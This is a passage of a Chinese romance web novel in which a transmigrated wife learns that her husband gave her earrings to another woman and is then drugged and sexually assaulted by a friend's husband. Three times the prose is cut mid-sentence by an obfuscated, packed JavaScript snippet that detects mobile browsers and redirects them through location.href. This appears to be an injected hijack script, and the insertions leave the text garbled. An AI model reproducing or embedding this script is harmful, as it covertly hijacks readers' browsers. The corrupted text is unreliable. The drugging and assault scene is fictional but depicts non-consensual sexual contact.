“秋娘,我来为你画吧。”江明亭从她手里接过画笔。
沈映秋欣然应允:“好啊。”
江明亭一手执笔,一手轻托着她的下巴,“闭上眼睛。”
沈映秋娇嗔道:“要是画得不好我可饶不了你。”
江明亭:“夫人放心吧。”
沈映秋微仰着头,闭上眼睛,感受到微凉的柔软笔尖落在了眉间,丝滑地流转起来。
不多时,听见江明亭道:“好了,夫人看看可还满意?”
沈映秋睁眼朝镜中一望,美眸中划过一抹亮彩,“满意极了。”
又朝旁边花瓶里的桃花看了眼,眉间的桃花瓣栩栩如生,轻盈灵动,不知道的还以为江明亭是将真正的桃花贴在了她眉间呢。
她忍不住伸手想触摸一下,却被江明亭捉住了手腕,“画痕还未干呢。”
发型和妆容都弄好后,沈映秋开始戴耳坠,她打开专门放耳坠的那层抽屉,看也没看,直接伸手朝装着鲛人泪的那只绿色锦盒摸去。
别看抽屉里放着数十对耳坠,但是每一对她都了然于胸,放在什么位置她闭着眼睛都能拿到。
谁知这一摸竟然摸了个空。
她将抽屉完全抽出来,朝原本放着绿色锦盒的位置看去,发现锦盒竟然不见了。
快速扫了眼整个抽屉,别的位置也没有。
难道这只锦盒连同里头的耳坠自己长了脚跑了不成?
“秋娘,你在找什么?”江明亭早已换好了衣裳,坐在一旁的榻上看着书等她,听见她翻找的动静,抬头问。
沈映秋:“今天我不是画了桃花妆嘛,我有一副粉珍珠耳坠和这个妆容很是相配,想着找出来戴上,但是现在居然找不见了。”
说话间,她又打开了另外几个抽屉和柜子,想着是不是先前放到别的地方去了。
江明亭听见她这话,惊得汗流浃背,嫁给他这么长时间都不见她戴过那副耳坠,怎么偏偏今日就要戴了呢?他还没来得及买一副新的补上呢。
这下可如何是好?
“金婵。”沈映秋唤了声,“你看见鲛人泪了吗?”
金婵心里咯噔一下:“不在抽屉里吗?昨晚上我清点时还看见了的。”
这不大的一方梳妆台,里外放的珠宝首饰可都价值不菲,随便一件都至少要上百两银子,所以她丝毫不敢轻忽,每天晚上都会将里头的首饰清点一番,挨个擦拭保养一下,确定没有少件或是被人调换,才能放下心来。
不然她晚上睡觉都不安稳。
这会儿夫人却找不到那副鲛人泪了,她顿时就有了不好的预感。
忙上前找了找,也没找到。
“夫人,这,我绝对没有偷拿您的首饰……”金婵生怕夫人怀疑自己,忍不住为自己辩白道。
沈映秋:“我知道,你跟了我这么多年,我还不清楚你的为人吗?”
穿来之后,怕原主身边的丫鬟发觉她和原主不同,她便找借口将她们转了岗或是遣散了,重新选了贴身伺候的人,金婵和翠娥就是这样来到她身边的。
到如今,算算也有七年了。
这七年间,两人从未叫她失望过。
她还不至于因为一副耳坠就对金婵信任崩塌了。
“许是哪个丫鬟婆子觉着这耳坠漂亮,忍不住拿去玩了,你替我查一查,叫她把耳坠送回来就是了。”
她院中伺候的有二十几号人,这些并不都是她从娘家带来的,除了几个近身伺候的,剩下的大多数都是婆母江夫人安排到她院里的。
嫁过来之初,她就给她们立了规矩,将自己的底线说得明明白白,谁要是明知故犯,那她自然不会容情。
不过至今也没有谁犯过大错。
大抵是因为她月钱给得丰厚吧,逢年过节的也少不了赏钱。
金婵应下了,不过并没立刻去办,而是为沈映秋另外选了一副耳坠,为她戴上。
这是一副碧玉葫芦耳坠,绿意沁人,映衬得她眉间的桃花瓣愈发生动了。
见秋娘没再继续追究,江明亭暗自松了口气,拿出帕子默默擦了擦额头上的汗,决定等游湖回来就去买一副粉珍珠耳坠来补上。
这样心虚又心悸的经历,他不想再体验第二次了。
“夫君,我们走吧。”换好衣裳,沈映秋挽着披帛从屏风后缓缓走出,抬头冲着江明亭一笑,美如画中仙。
江明亭心跳加速,上前握住她的手,送到嘴边亲了亲,“好,不过得戴上面纱才行。”
他亲手为她戴上面纱,不希望她的面容暴露在别人眼前。
两人没在家里用早饭,而是去了琼楼。
琼楼是宣城最负盛名的酒楼,就坐落在这次她们要游览的鲤仙湖畔。
从高处俯瞰,湖泊形似一条锦鲤,又有传说,从前这湖泊中有一条锦鲤修成了仙,白日飞升了,故而有了“鲤仙湖”这一称呼。
江明亭扶着沈映秋从马车上下来,两人携手进了酒楼。
银果和阿墨跟在后头。
车夫则去找位置停车了。
酒楼的小厮一见了沈映秋二人,原本公式化的礼貌笑容顿时变得真挚了几分,“小姐姑爷来了,快楼上请。”
琼楼是沈家的产业,只不过从前的琼楼在宣城排不上号,沈映秋将酒楼的菜谱进行了改良,又进行了各种花式营销,这才让琼楼一跃而成为宣城的第一酒楼,声名远扬。
基于此,沈映秋拿到了琼楼的三成干股,每年光拿分红就有好几千两银子。
酒楼的生意好了,掌柜伙计们的月钱也跟着水涨船高,所以他们都很念着沈映秋的好,每次她过来吃饭,得到的都是至尊级的待遇。
她在这边也有一个专属包间,小厮殷勤地在前头领路,为她们开门。
从包间的窗户望出去,视野霎时开阔起来,湖面浩渺,阳光洒在上面,粼粼波光似跳跃的金子。
大大小小的船只散落在湖面上,想来今日游湖的并不止她们一行。
用过早饭,银果又打包了几份小菜并点心果饮,用食盒拎着,跟在夫人她们身后去了湖边。
从酒楼后门出来,便到了湖堤上,两岸柳丝如烟,迎春花已经陆续开放了,金黄色的小花在阳光下格外清新俏皮,似涂了一层最时髦的指甲油。
路旁有不少摊贩在叫卖。
“风筝,俊俏的风筝,公子买一只吧?”
“热乎乎的馄饨,一碗三文钱,大娘,来一碗尝尝吧?”
“新鲜出炉的包子,皮薄馅儿大……”
人间烟火气,最抚凡人心。
沈映秋好久没看见这般鲜活的景象了,挽着江明亭的胳膊且走且看,觉得无处不可爱,无处不新鲜。
天蓝蓝,草茸茸,水清清。
风中递来了草木香和食物香,沈映秋闻着闻着就有些馋了。
才吃过早饭,她并不饿,但嘴上就是想吃。
“夫君,你想吃米糕吗?”
刚出锅的米糕,热气腾腾,雪白宣软,上头还点缀着鲜红的枣,看着就让人口舌生津。
江明亭还能不清楚自家夫人的性子吗?她问他想不想吃,实则是她自己想吃了。
他从善如流道:“走着走着就有些饿了,我去买几块吧。”
面纱下,沈映秋露出了甜蜜的笑容。
经过一处卖烤鱼的摊子,沈映秋的步子又有些迈不动了,“夫君,你想吃烤鱼吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222428|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?那个烤鱼看起来很不错。”
江明亭:“想呀,我去买两条。”
才买完烤鱼回来,一个小姑娘提着花篮走过来,仰头道:“大哥哥,给姐姐买朵花儿簪上吧?”
对上小姑娘期盼的眼神,江明亭说不出拒绝的话,递过去一锭银子,将一篮子花都买了。
“不用找了。”
小姑娘拿了银子,欢天喜地,将花篮直接往他手里一塞,“谢谢大哥哥。”
又说了两句俏皮的祝福语:“大哥哥和姐姐一定会白头偕老、子孙满堂的。”
说完蹦蹦跳跳地走了。
江明亭很是高兴,从篮子里选了一朵开得最大最艳的粉色牡丹花,簪在了沈映秋发间,一眨不眨地望着她,“夫人真美。”
沈映秋从花篮里拿了朵杏花往他脸上一丢,“油嘴滑舌。”
江明亭接住杏花,随手簪在了头上,冲她傻笑。
一行人走走停停,各种吃的喝的玩的买了一大堆。
前面的沈映秋和江明亭倒是轻松,两人依旧两手空空,却是为难了身后的银果和阿墨,两人的手上肩上怀里,都快要塞不下了。
当来到一处码头时,阿墨赶紧道:“夫人,公子,那边有空船,我去租一艘船吧?”
沈映秋有些意犹未尽,不过今日就是出来游湖的,而且她也有些走累了,遂点了点头,“去吧。”
阿墨暂时将东西卸下,长舒一口气,跑去码头上,租下了一艘最干净的乌篷船。
船上有一个类似亭子的四方棚顶,靠近船舷的两侧有长条形的座椅,中间则是桌案。
一行四人上了船,沈映秋和江明亭挨着坐下,银果和阿墨则坐在对面,只不过两人中间还隔出了一个人的空位。
站在船尾的船夫撑起船篙,船只缓缓朝湖心划去。
银果将食盒里的小菜点心拿出来摆在桌上,又将先前买的那一堆东西一一拆开。
阿墨在桌子底下碰了下她的脚。
银果疑惑地朝他看去。
阿墨冲她使了个眼色,又看了对面的夫人公子一眼。
银果恍然大悟,对沈映秋道:“夫人,我见外头有个小炉子,我去烧一壶水来泡茶吧。”
阿墨也借口去外面钓鱼。
就这样,两人先后出了船舱,将这一方空间留给了沈映秋两人。
沈映秋和江明亭对视一眼,扑哧一笑。
江明亭一手揽着她,另一只手给她捋了捋发丝,“秋娘笑什么?”
沈映秋:“笑银果和阿墨这两个机灵鬼。”
船舱前后都垂下了帘子,但窗户却大开大敞着,一抬眼就能看见外面涌动的湖面。
沈映秋靠在江明亭肩头,望着湖光山色,怡然欲醉。
只是风景虽好,她却有些冷了。
为了美,她没有穿袄子,穿的是轻薄的春衫,先前在岸上还不觉得,甚至被太阳晒着觉得暖融融的。
但是到了湖上,被湖风吹着,就不禁觉得冷了。
她将冰凉的手伸进江明亭的脖子里。
江明亭被她冻得一个激灵,“冷了吧?我把披风给你披上。”
他火气旺,即便穿得轻薄也不觉寒冷,但以防秋娘冷,他特意多穿了件披风,这会儿正好派上用场。
裹上披风后,沈映秋觉得暖和多了,又有兴致欣赏风景了。
还从桌上拿了块米糕吃起来。
江明亭将插在腰间的玉笛拿下来,“秋娘,我给你吹笛子吧,想听什么曲子?”
沈映秋并不精通乐器,只练熟了几首撑场面的琴曲,但一些寻常的曲目她还是知道的。
“就来一首《玉楼春》吧。”
笛声空灵悦耳,似清风拂面,似醍醐灌顶,沈映秋微仰着头,闭上眼睛,十分享受地倾听着。
忽然,一道琴音加入了进来,与笛声相和。
曲子变得愈发缠绵有韵味了。
沈映秋睁开眼睛,朝窗外望去,弹琴相和的人是谁?
12. 第12章
不远处,一艘小型画舫渐渐靠近,船头一名白衣女子坐在琴案后,纤细白皙的手指抚按着琴弦,铮铮琴音从她指尖泄露。
竟是柳三姑娘柳长盈。
看见她的那一刻,江明亭吹奏出来的笛音骤然破了音,尖锐刺耳,沈映秋忍不住皱了皱眉。
那边画舫上的琴音也跟着停了下来。
柳长盈起身,站在船头朝这边欠身一礼,“妾身见过江公子,方才听见笛声,如闻天籁,忍不住弹琴相和,江公子不会怪我唐突吧?”
江明亭握紧了玉笛,努力镇定下来,“不会。”
心下只盼着她赶紧离开。
然而事情偏偏朝着他最不想看见的方向发展了下去。
柳长盈像是才发现江明亭身旁的沈映秋,“这位就是令夫人吧?早就听闻江二夫人天姿国色,仙容玉貌,如今一见才知传言没有夸大,果真令人见之忘俗,实在让我这等蒲柳惭愧。”
若是往日,沈映秋少不得要自谦一番,再吹捧回去,但此刻她却完全没有这个心情。
柳长盈戴的那副耳坠,看着真是好生眼熟!
“柳三姑娘,你戴的耳坠当真别致,可否借我一观?”
江明亭的心,霎时高高提了起来,急得额头生汗,努力冲柳长盈使眼色,暗示她拒绝。
然而柳长盈像是没看见一般,很爽快地摘下了一只耳坠,“好啊。”
朝沈映秋递了过来。
此时,两艘船已经距离极近,一脚就能跨过去的程度,沈映秋站在窗前,伸出手去。
眼见她就要碰到耳坠,江明亭急中生智,猛地踩了下船,船身晃动起来。
这一晃,导致沈映秋一个没站稳,扑了出去,好险抓住栏杆没有栽进水里。
柳长盈也是一惊,耳坠脱手而出,掉进了水里。
沈映秋朝江明亭看去,对上的却是他充满关心的眼神,“秋娘,你没事吧?”
“船好端端地怎么会晃起来?”她狐疑地看着他。
江明亭:“可,可能是湖上风浪太大了吧。”
沈映秋不置可否,拂开他的手,直接掀帘出了船舱,来到船头,一脚跨到了柳长盈的船上。
“秋娘——”江明亭跟上来,试图将她喊回来。
他本也想跨过来,奈何柳长盈所在的这艘画舫船头位置并不宽敞,已经容不下第三个人了。
沈映秋没理他,对柳长盈道:“抱歉柳姑娘,方才没拿稳,让耳坠掉进了水里,回头我叫人打一副新的赔给你,剩下这只也给我吧,正好拿来做模子。”
柳长盈温和道:“无妨,你也不是有意的。”
说着将另一只耳坠摘下来递给她。
这回没有风浪来袭了,沈映秋顺利将耳坠拿到手里。
她对着光看向耳坠的鲛人尾巴,上面赫然有一个小小的“Q”字印记。
这是独属于她的印记,是她和现代世界之间的一点联结,她穿来后设计的每一样东西上面,都留下了这个印记。
这个耳坠,并不只是跟她的鲛人泪长得像,而是就是她的!
她的鲛人泪,怎么会跑到柳长盈那里?
“柳姑娘,不知这副耳坠你从何而来?”沈映秋强行压下情绪,不动声色地问。
柳长盈下意识看了另一边船上的江明亭一眼,“实不相瞒,这副耳坠是——”
江明亭忽然大喊一声:“秋娘小心!”
喊完之后,无事发生。
面对秋娘射过来的不善眼神,江明亭嗫嚅道:“方才我看见似乎有一条大鱼游过来……”
沈映秋忍无可忍:“江明亭,你给我闭嘴。”
掉头看向柳长盈,示意她继续说。
柳长盈似乎终于懂得了江明亭的暗示(几乎可以称得上是明示了),“这副耳坠,是我从金雀楼买来的。”
金雀楼是宣城有名的首饰铺子,卖的都是高端首饰,做的是宣城富贵人家夫人小姐的生意,其背后的东家是刺史夫人。
沈映秋原先还想将自家的宝胜楼打造成宣城第一首饰铺子,得知金雀楼背后的人是刺史夫人后,就打消了主意,改为走物美价廉的路线,目标人群是小富之家的女子。
嫁进江家后,她也算是跻身于贵妇圈了,也成了金雀楼的客户。
“前些日子金雀楼送来了店里最时新的首饰给我挑选,里头可没有柳姑娘的这对耳坠。”
柳长盈眼底深处划过一抹嫉妒,每次她去金雀楼买首饰,那些婢女都拿鼻孔看人,仿佛她是什么脏东西。
而换了沈映秋这位郡守家的二夫人,金雀楼却是上赶着将首饰送上门去给她挑选。
这其中的落差,如何不叫她感到不平?
柳长盈露出一抹被拆穿的惊慌神色,再次看了江明亭一眼,吞吞吐吐道:“这,许是因为这对耳坠是旧款式吧。”
沈映秋气笑了,“你可知这耳坠上有一个特殊的印记?这道印记独属于我,凡是出自我手的首饰,上面都镌刻了这道印记。
“方才我一看见柳姑娘戴的耳坠便觉得眼熟,这才想看一看,耳坠一到手,果不其然,上面就有这道印记。
“这对耳坠分明是我的东西,如何会在柳姑娘这里?柳姑娘可能如实相告?”
柳长盈满脸惊讶,脱口而出:“什么?这是你的耳坠?可江公子说这是他买的……”
沈映秋不可置信地看向江明亭,“你拿我的东西送人,还说这是你买的?”
她攥着那只耳坠,手心被尖锐的耳钩刺破了犹不自知。
江明亭的心沉入了谷底,这件事终究还是被秋娘知道了。
他慌得不行,想过来向她解释,但船头根本容不下三个人,只好哀求她:“秋娘,你先过来,我好生向你解释,好吗?”
沈映秋深吸一口气,控制住了想要爆发的冲动,抬脚回了船上,摔了帘子进了船舱。
江明亭忙弯腰钻进去,在她面前单膝跪下,抓着她的手第一时间认错:“秋娘,我错了,我不该——”
沈映秋现在什么都不想听,甚至不想看见他这张脸,如果可以,她真想一脚将他揣进湖里去。
偏偏他不会游泳。
“闭嘴,别逼我扇你。”她甩开他的手,侧过身趴在围栏上,怔怔望着湖面,心里拔凉拔凉的。
江明亭张了张嘴,完了,这回秋娘是真的生他的气了。
他想解释,却又不敢。
又气又悔,捶打着自己的脑袋,他怎么做出了这种蠢事?
过了一阵,沈映秋忽然反应过来,都发生这种事了,她还游个屁的湖?
扬声对船尾的船夫道:“船夫,靠岸。”
江明亭:“别——”
船夫:“公子夫人,到底是靠岸还是不靠岸啊?”
沈映秋撩起船尾的帘子,拔下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222429|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头上的一根金钗丢在船夫脚下,“靠岸。”
船夫乐呵呵地捡起金钗,“好嘞。”
当即撑着船篙往回划。
柳长盈站在船头,裙摆被湖风吹得猎猎作响,似一只欲乘风而去的白色蝴蝶。
她看着沈映秋和江明亭她们的船只远去,轻笑一声。
一个男人掀开帘子从船舱里走出来,赫然是刘远志。
他手里拿着把折扇,敲了敲手心,“这次她们总能闹崩了吧?”
柳长盈:“我觉得不会。”
刘远志:“那不如我们来打个赌?”
柳长盈:“好啊,我赢了,刘公子帮我赎身。”
刘远志:“你还不知道赌什么,就笃定你能赢?”
柳长盈:“不管赌什么,我都赢定了。”
刘远志眯了眯眼,不喜欢她这副自信笃定的样子,“那我们就走着瞧,你若输了,就得任凭我处置。”
柳长盈勾唇一笑:“好,一言为定。”
船只停靠在码头,沈映秋朝银果招呼一声:“银果,我们走。”
银果瞪了阿墨一眼,跟上夫人气哼哼地走了。
阿墨摸了摸后脑勺,莫名其妙,惹夫人生气的是公子,银果瞪他干啥呀?
江明亭拔脚就想追上去,却被船夫扯住了,“公子,这船上的东西你还要不要了?”
江明亭哪里在乎这么点东西,“不要了,你拿着吧。”
船夫:“好嘞,多谢公子赏。”
待四人都离开后,船夫摘下了头上的斗笠,露出了一张黝黑的面庞,咧嘴一笑,牙齿白得晃眼。
赫然是小松。
他抛了抛沈映秋丢给他的那根金簪,笑得有些邪气:“这位沈夫人还真是我的财神娘娘啊,每次碰上她都能大发一笔,顺便还看了场好戏,不过这一看就是有人故意设的套,她那个夫君也真是够蠢的,明晃晃地往里跳。”
沈映秋四人去游湖时,车夫三斤将车停好后,便在湖边钓起了鱼,坐等沈映秋她们回来。
他钓鱼的位置在靠近琼楼后门的一段湖边,若是夫人她们回来,他第一时间就能看见。
他本以为夫人她们至少要等到中午才回,没想到他鱼钩放下去没多久,一条鱼还没钓上来,夫人就回来了。
身后只跟着银果,不见公子和阿墨。
而且夫人神情瞧着也有些不对,难道是遇到什么事了?
“三斤,去驾车。”沈映秋吩咐道。
三斤也没多问,钓竿也不要了,直接将刚上钩的一条鱼,并钓竿送给了旁边的一位钓友,去琼楼的停车处驾车了。
当沈映秋和银果来到琼楼正门外时,三斤已经将马车驾过来等着了。
沈映秋和银果刚上了车,江明亭就追了上来,“秋娘,等等——”
“三斤,走。”
三斤是沈映秋从娘家带过来的陪嫁,她未出嫁时他就给她驾车,是她的专属车夫,即便陪嫁过来了,也只为她一人服务,自然是听她的。
一甩鞭子驾着车走了,将江明亭丢在了后头。
江明亭追了一阵没能追上,气喘吁吁地停了下来。
方才要不是那个船夫抓着他耽误了一会儿,要不是湖堤上游人多了起来,他也不至于落后一截,只能眼睁睁看着秋娘从他眼前离开。
秋娘带气而去,要是冲动之下出了什么事可如何是好?
13. 第13章
马车上,沈映秋忽觉手心里一阵刺疼,打开一看,耳坠的钩子都嵌进肉里去了,手心里血淋淋的。
她抬手将耳坠甩到了地上,又狠狠踩了踩。
银果心疼极了,“夫人你的手流血了,我这就给你上药。”
忙从座椅下的柜子里找出药箱来,拿出金疮药给夫人上药包扎。
“把谢宝宝找出来。”沈映秋道。
银果将药箱收起来,将夫人要的东西拿出来。
所谓“谢宝宝”,其实是一套药锤和药钵,都是用金子打造而成。
为什么取名“谢宝宝”呢?说来话长。
沈映秋穿过来后,想通过书籍多了解一些这个时代的事情,便经常往藏书阁跑。
沈家的人没几个真喜欢看书的,但却专门建造了一座藏书阁,收藏了不少书籍,用来装门面。
这倒是方便了沈映秋。
她在里面发现了一本奇奇怪怪的古书,里面记载了一个古里古怪的方子——
用金子打造一套药锤、药钵,取草木灰、香炉灰、锅底灰、露水、雨水、磨刀水……数十种乱七八糟的东西,一齐加入药钵中,揉成团,是为药胚,不断捶打之。
后续还要加入金粉、银粉、铅粉、玉粉、盐、珊瑚粉、人参、灵芝、太岁等物,按时按序反复捶打。
直至药胚变得珍珠大小、洁白如玉,这药就算炼成了。
服之可治百病,延年益寿。
沈映秋觉得挺有趣,想着现在都穿了,既不用上学也不用上班,索性就给自己找一件事来做。
沈家人也宠爱她,随着她性子来,找来各种材料供她挥霍。
起初沈映秋还兴致勃勃的,严格按照方子来,后面一不小心弄错了步骤,索性就破罐子破摔了,想起来了就搞一搞,没想起来就将药锤药钵丢到一边。
嫁人时她也将这套东西带过去了。
嫁进江家不到一个月,她就受了好几回气。
恰好有一天金婵将库房里的东西拿出来晾晒,那套药锤药钵也拿出来了,沈映秋心里正堵得慌呢,看见那套家伙什,走过去就拿起药锤在药钵里一顿锤。
捶完发现心情居然奇迹般地平复了。
原来捶打药胚这么解压啊。
从此以后,她就将这套东西当成了解压神器。
还专门给它取了个名字——谢宝宝。
谢者,泻火,泄气也。
沈映秋拿起小金锤,对着药钵里的药胚一通捶打。
这药胚也是神奇,即便放在里面长时间不管,它居然还是那么柔软,跟橡皮泥似的。
捶打起来很是得劲儿。
锤了会儿她觉得少了点什么,将头上的牡丹花扯下来,花瓣一根根撕下来丢进药钵里,一锤子下去,花瓣被锤进了药胚里,和药胚融为了一体。
花汁被捶打出来,渗透进药胚,药胚的颜色变得浑浊,又渐渐均匀起来。
这个过程看着就很解压。
沈映秋对着药钵锤锤打打,银果坐在一旁也不敢吱声,默默地吃着糕。
一朵牡丹花捶打完了,沈映秋心里的火气也发泄得差不多了。
将地上的耳坠捡起来,拿帕子擦干净,递给银果,“不嫌弃的话就收着吧。”
银果欢欢喜喜地接过来,“夫人说哪里话,我怎么会嫌弃呢,我高兴还来不及呢,这上头的珍珠和金子老值钱了,能顶得上我好几年的工钱呢。”
看着她高兴的神情,沈映秋也不由受到了感染。
马车忽然来了个急刹车,沈映秋险些一头栽出去,还是银果眼疾手快扶住了她。
“三斤大哥,怎么回事儿啊?好端端的突然停下来了。”
三斤:“夫人,有人突然冲过来拦在了车子前面。”
沈映秋还以为是江明亭干的,掀开车帘一看,是宋铮皎身边的婢女南溪。
“南溪,怎么了?可是你家夫人有急事找我?”
南溪走过来道:“沈夫人,我家夫人就在旁边的酒楼里,看见您的马车过来了,叫奴婢赶紧下来拦下您,说有事要跟您说。”
沈映秋也想跟宋铮皎说说今天发生的事,便随南溪进了酒楼,到了二楼临窗的雅间。
南溪推开门,沈映秋走进去,却不见宋铮皎的人。
“你家夫人呢?”
南溪也露出疑惑的神情,“想来夫人是下去如厕了吧?沈夫人稍等一会儿,我出去看看。”
南溪带上门出去了,沈映秋环顾屋子一圈,有些奇怪。
宋铮皎是个没钱时讲究,有钱了更讲究的人,出门必带三件套——坐垫、茶具以及油纸伞。
而且每次带出门的三件套都不一样,会根据时节来变换。
比如上次她们约会时是初春时节,宋铮皎带的是一套墨紫色的紫砂茶具,紫砂是陶土,导热慢,也就更能保温,紫砂茶杯拿在手里能够延长保暖的时间。
那天虽是晴天,气温却是比较低的,用紫砂茶具正好。
若是到了天热时分,宋铮皎用的就是一套天青色冰瓷茶具,杯中的水再热,冰瓷茶杯拿在手里都是清凉的。
不知情的人还以为杯中水是凉的,冷不丁喝一口,绝对会被烫到。
如今天暖了,宋铮皎该用粉彩茶具才是,而茶几上摆放的并非粉彩茶具,而是酒楼自备的一套普通白瓷茶具。
椅子上,门后头,也并不见宋铮皎自带的锦绣坐垫和油纸伞。
总不可能她去上茅房时,还把这三样东西带在身上吧?
就在她疑惑时,身后传来推门声。
沈映秋还以为是宋铮皎回来了,转身笑着看过去,然而在看见门口之人的那一刻,她脸上的笑容僵住了。
来的竟不是宋铮皎,而是她那个风流成性的纨绔丈夫刘远志。
“咦?弟妹?怎么是你?我来酒楼吃饭,听掌柜的说我夫人也在此,便过来打个招呼,倒是唐突你了。”
刘远志一副有礼有节的君子模样,并未冒然进来。
若非沈映秋深知他的为人,还真要被他骗过去了。
她礼貌一笑,声音平淡道:“皎皎去如厕了,应当马上就回来了。”
刘远志:“哦,那我就在走廊里等等她吧。”
他似是也知道沈映秋不待见自己,将门又带上,退到了走廊里。
银果悄声道:“夫人,这位刘公子瞧着倒是和传言中不大一样呢。”
沈映秋:“怎么不一样?”
银果:“传闻中这位刘公子好色成性,欺男霸女,还长得猪头驴脸,总之是个又丑又坏的纨绔公子,结果没想到,他生得还挺俊俏的,也就比咱们二爷要差那么一丢丢吧。而且他对夫人也是十分有礼,一点也没有纨绔习气呢。”
沈映秋轻敲了下她的脑门,“知人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14229027|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知面不知心,他那不过是装的罢了,你可别被他的外貌给骗了。”
银果捂着脑袋,将信将疑地“哦”了声。
沈映秋心里叹了口气,知道小丫头没有完全听进去,其实也不能怪她,只能怪刘云志太会装相,外表太具有欺骗性。
当初宋铮皎坚决要嫁进刺史府,除了奔着刺史府的荣华富贵以外,未尝没有被刘远志那副俊美皮囊吸引的因素。
哪个少女不怀春?不希望自己未来的夫君生得赏心悦目?
宋铮皎也不能免俗,毕竟人都是外貌协会的,朝廷选任官员,还会看长相呢。
当初见到刘远志的人后,宋铮皎更加铁了心要嫁进刺史府了。
只不过真的嫁进去之后,她才知道自己当初是何等的天真。
她私下里没少跟她抱怨,幸好当初不是纯粹冲着刘远志这个人去的,不然她的眼睛早就哭瞎了。
主仆俩说话间,沈映秋忽然觉得口干舌燥起来,身上也热得慌,像是有一只只小虫子在爬一样。
她松了松领口,发现窗户居然是关着的。
“银果,把窗户打开。”
她自己则走到桌边,想倒杯茶喝。
谁知提起茶壶时,手腕居然使不上劲儿了,失手摔了茶壶。
茶壶歪倒在桌上,茶水四溢。
她整个人跟面条一样软倒下去。
下意识想抓住桌子稳住身体,却只抓住了桌布,连带着茶壶茶杯果盘全都扯了下来,噼里啪啦地摔在地上。
“夫人!”银果才开了窗,听见身后的巨大声响,忙要冲过来。
然而跑了没两步,她膝盖一软,扑倒在了地上,浑身都使不上劲儿。
倒在地上的主仆俩对视一眼,遭了,她们这是中招了。
再想到刚才出现的刘远志,沈映秋顿时有了一个不好的猜想,全身如坠冰窖。
不要,千万别是她想的那样!
然而越怕什么越来什么。
刘远志再次推门而入,一脸惊讶的样子:“弟妹这是怎么了?好端端的怎么倒在了地上?没事吧?”
沈映秋努力想爬起来,却无济于事,“别过来——”
她本想大声呵斥他,然出口的声音却绵软娇柔,毫无威慑力。
刘远志自然不会听她的,看着躺在地上娇软无力的美人,他兴奋得血脉-贲-张,天知道他等这一刻等了有多久!
快步走上前,将人从地上扶抱起来,装模作样地询问:“弟妹可是身子不适?”
玛德都这个时候了他还在给她演!
沈映秋心中怒吼。
然而很快她就顾不上愤怒了,因为她绝望地发现,自己竟不受控制地朝刘远志贴了过去。
刘远志呼吸霎时粗-重了起来,盯着她那微微开合吐-露香-舌的红-唇,渴得胸口都要炸开了。
但他仍没有立刻动作。
“弟妹,实不相瞒,我心慕你已久,只是兄弟妻不可欺,碍于和明亭的兄弟情义,我只能将对你的这份感情深深压抑在心底。但没想到,你对我竟也是有意的,既如此,那我自然不能辜负了你的这份情意。”
话音未落,便低头攫-住了她的唇瓣,肆意品尝起来。
沈映秋头皮一炸,心理上像是被人强行灌下了一碗蟑螂汁,恶心得灵魂出窍,但身体却又像是饥-渴了三天三夜,迫不及待地想要吞咽。
14. 第14章
酒楼对面的茶楼,三楼临街的包间。
小松正与一个蓝衣男人谈话。
“大哥,我手里的钱又花完了。”赵延峰,也就是身着蓝色布衣的男人搓了搓手,有些窘迫道。
看相貌,他至少有三十岁了,但对小松却一口一个“大哥”地叫着。
小松:“不是前几日才给了你十两银子吗?这才几天功夫,怎么就花没了?”
赵延峰苦笑一声:“大哥,十两银子对咱们来说是不少,省着些用一年的嚼头都有了,但是对于那些当官儿的,也就是一顿饭钱。
“你不是让我尽量和朱大人打好关系吗?昨天朱大人给他儿子办周岁宴,我上门庆贺,你说我也不能光着手上门对吧?就去买了个金锁,把我心疼得……”
小松:“行了,我知道了。”
然而光知道也不行,他得弄银子啊。
没银子,赵延峰,还有手底下的其他人,凭啥给他办事呢?
正发愁间,小松不经意间往对面瞥了眼,眼神忽然一定,那不是他的财神娘娘沈夫人吗!
她这是在……在和刘远志幽会?!
难道因为江明亭惹她生气了,所以她故意和别的男人勾搭来报复自己的丈夫?
据他所知,刘远志可是她的闺中密友宋铮皎的丈夫。
贵圈真乱。
非礼勿视,小松正要收回视线,忽然发现了不对劲。
原本和刘远志勾缠得难舍难分的沈映秋,竟猛地推开了刘远志,拔下发间的一根金簪抵在了自己脖子间。
小松蹭一下站了起来,冲赵延峰道:“赵兄,银子你改日来找我拿,我还有事,就先走了。”
“哎大哥——”
酒楼包间。
沈映秋狠狠咬了下舌尖,让自己恢复了一丝清醒,拔下头上的金簪抵在脖子上,决绝地盯着刘远志。
若是今日被他得逞了,那她也不用活了。
她自己固然不会把贞洁这玩意儿看得太重,大不了就当是被野男人伺候了一回,顶多心理上留下一些阴影。
